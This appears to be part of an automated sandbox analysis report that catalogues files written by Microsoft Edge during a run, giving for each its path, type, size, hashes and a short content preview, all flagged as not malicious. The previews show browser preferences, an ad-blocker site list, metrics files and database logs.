Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732548090"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\02f1eb99-20b7-478e-a63f-2dbe39f4070e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-674495F5-8EC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45419867519657314
Encrypted:	false
SSDEEP:	3072:zvCKkiZNZ6UScjkRhPkcQzULznXA6HjZvLfLqNpu2QHBRHrg1HFJ:uKkqtjkRVkcQoj3HjdfLq+2QHBRaHH
MD5:	607D4022B600DED6F54CA2563E4B65F7
SHA1:	289622DA7DDC973D024D35ECB7B0191D573FDD8D
SHA-256:	BB33A2CFB8AF94203965EB1B66B1AE91916478C0DA8DF6E49E63FE7EC73ACA55
SHA-512:	7AC81E7585FD0C74BBBEE092545181B909C8CF89DD9F4DB9CE79E9E284A4FE361A50F0FF2A01942DBCD38A06075996CE3FE68BC34450FCDADD991D6354E30DBC
Malicious:	false
Preview:	...@..@...@.....C.].....@...............(...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".ayutaq20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.................. .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\01700b83-2aaf-4716-9236-6a4baaad0eda.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\27a97589-dff3-4975-9b94-facc1f031c64.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\45eeeec9-237a-4b93-b66d-2dcd89cb1509.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567588665165924
Encrypted:	false
SSDEEP:	768:G8zqCEWPVpfNI8F1+UoAYDCx9Tuqh0VfUC9xbog/OV5IQcxrwkp2tuE:G8zqCEWPVpfNIu1ja07cCRtv
MD5:	67F16D55DCC56E03F1A8D51C0D5FA890
SHA1:	0580B8823836299447B26F35E759C07F510AD27E
SHA-256:	CDC7F92C66C0B538EBA4FD3C9DD02651C78222E7FA76A49D279A4A02B42BFD55
SHA-512:	DE4EC0D9722833636D8BA4A687888983E2BACAB82AF41714E8AA71F516DF9A9EE4CA9E011947CA80D6E7715CBEDE95AF0B4A06D76048B681D215D05577A13B51
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377021685701732","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377021685701732","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\51a11d93-4b69-464f-90f2-7205e0e9fc43.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17421), with no line terminators
Category:	dropped
Size (bytes):	17423
Entropy (8bit):	5.491185763817219
Encrypted:	false
SSDEEP:	384:stvPGQSu4vsaudEfhxCiWRRGcXJX2l9SfMRbGrQwC6WGaTYp:sdOXuasEf+1Zm1bGENSaTYp
MD5:	09F693C386AAAB1971645DB93C4D3FAB
SHA1:	EB8DF275ED621422C9C67434278E2DECD1C99A1D
SHA-256:	CB32A8ADBE510A95BAB50C44A7BC42D7A1315DC35874BD8082AC20A0E9274B6B
SHA-512:	D21301611F1E0E53F9BF254CE502FFBE9EDC98FD890985DB3CF3615C3BD9DE05AF34C4691F7C4E3C55E6FCCADE5E559732409B3F0097013C3AD9E784D3D9939C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377021686372006","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\591d16c9-0496-4fa6-846d-56a8130540bc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\946bda2a-3b79-4e3b-aa7e-0c022302bbae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17586), with no line terminators
Category:	dropped
Size (bytes):	17588
Entropy (8bit):	5.487817499641159
Encrypted:	false
SSDEEP:	384:stvPGQSu4vsaudEfhxCiWRRGcXJX2l9SfMRbGrQwC6WalaTYp:sdOXuasEf+1Zm1bGENoaTYp
MD5:	D86C326DE09D9C056D0413FAEF949AE9
SHA1:	9AD925D1113A44F0E909E8B2221B3F138F300618
SHA-256:	4035E4F7B4EC0F43EB6359F1D5CF692608622F2840AD4B66A1BDA8FC66AE7BF3
SHA-512:	23DE5C71D9325953EA5FA916BB9902BD784AE0C9A9B1FD9659BFF4D97E4A81B7D125D8922B8DE3B8B0B86C7237CDAB01EE27FFD3E63011D0E940DF89DECA9B32
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377021686372006","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.2046479912625925
Encrypted:	false
SSDEEP:	6:HApIl1923oH+Tcwtp3hBtB2KLlVApkWPVq2P923oH+Tcwtp3hBWsIFUv:grYebp3dFLo6kv4Yebp3eFUv
MD5:	53B46BBF00E0F11BA464FE3D3ADA4CDF
SHA1:	7754280292F9512AF54ACD9B5F5584E132A4DBE1
SHA-256:	F31638C80F0082E9EB66E544A2056849850F29ADFB03DB6F40DE969F01A95251
SHA-512:	D16D56CA3CFD1968CDF3C8C62945B10C78775C26C5D90E0E387F98BDF1998990E8BFAAF9B49EC3E21084A241364601250915BEEC6725FA89DF6C938638B0B18F
Malicious:	false
Preview:	2024/11/25-10:21:30.274 18a0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/25-10:21:30.331 18a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222865305823452
Encrypted:	false
SSDEEP:	24576:v+/PN8F6fI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8gfx2mjF
MD5:	DED66BBD8AEA18D099964C1F9A978864
SHA1:	1F1D64DB3CB01762849613D939D64BF14CA1089C
SHA-256:	04AA8ACB424FEB5F64072710CEA1CD7960B3BA27DAE92347A211F71C3E08D630
SHA-512:	AE5E91045203299CB6796F1053DEDC7050AEDB4C96413F1F8716F53F8B73CF32A78B6C0D756F521658C465D1ACE566FE33E945E69C69965651ECEE8838206844
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.080995023736402
Encrypted:	false
SSDEEP:	6:HApMWF9L+q2P923oH+Tcwt9Eh1tIFUt8YApMDz1Zmw+YApMcFvlLVkwO923oH+TI:glF9yv4Yeb9Eh16FUt87YZ/+7vR5LYe8
MD5:	4B51BAF89532A34DCB9B988D6385A8CF
SHA1:	41028AB26F17253CEDD7ACB8330818AFA73C7549
SHA-256:	521613D2A65B226CB4B6E0DEAA8272C707EC0700F6C6B88B2B2DBFE789DD894C
SHA-512:	30A1D8E186933E83DBCE375AE1B3B5777042DC3C558EB95C35A0FC8666003D81737B48CBDFD3F1CE604C6D5B737860C31F53B692F97EC5DBBE1337B9ED28DF3F
Malicious:	false
Preview:	2024/11/25-10:21:30.233 2138 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/25-10:21:30.234 2138 Recovering log #3.2024/11/25-10:21:30.239 2138 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.080995023736402
Encrypted:	false
SSDEEP:	6:HApMWF9L+q2P923oH+Tcwt9Eh1tIFUt8YApMDz1Zmw+YApMcFvlLVkwO923oH+TI:glF9yv4Yeb9Eh16FUt87YZ/+7vR5LYe8
MD5:	4B51BAF89532A34DCB9B988D6385A8CF
SHA1:	41028AB26F17253CEDD7ACB8330818AFA73C7549
SHA-256:	521613D2A65B226CB4B6E0DEAA8272C707EC0700F6C6B88B2B2DBFE789DD894C
SHA-512:	30A1D8E186933E83DBCE375AE1B3B5777042DC3C558EB95C35A0FC8666003D81737B48CBDFD3F1CE604C6D5B737860C31F53B692F97EC5DBBE1337B9ED28DF3F
Malicious:	false
Preview:	2024/11/25-10:21:30.233 2138 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/25-10:21:30.234 2138 Recovering log #3.2024/11/25-10:21:30.239 2138 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4621352452002129
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu5y:TouQq3qh7z3bY2LNW9WMcUvBu5y
MD5:	49B4DBF5CE7FF4A9DEE872E941049230
SHA1:	92C7372846931C852D434348AA4ECFF5B33134C8
SHA-256:	CC2F35F0037906B27BB820D89E951E016346ACF43831DE4660F8F6901666D78D
SHA-512:	7500B7A794293EE72047F63774C777ED6FD59EB5B117238B44D3A69628F4C89E656C1C2C76729B2350F1D2B3A9725FA686FFC6864CB5AE7305A54DB509D1421E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

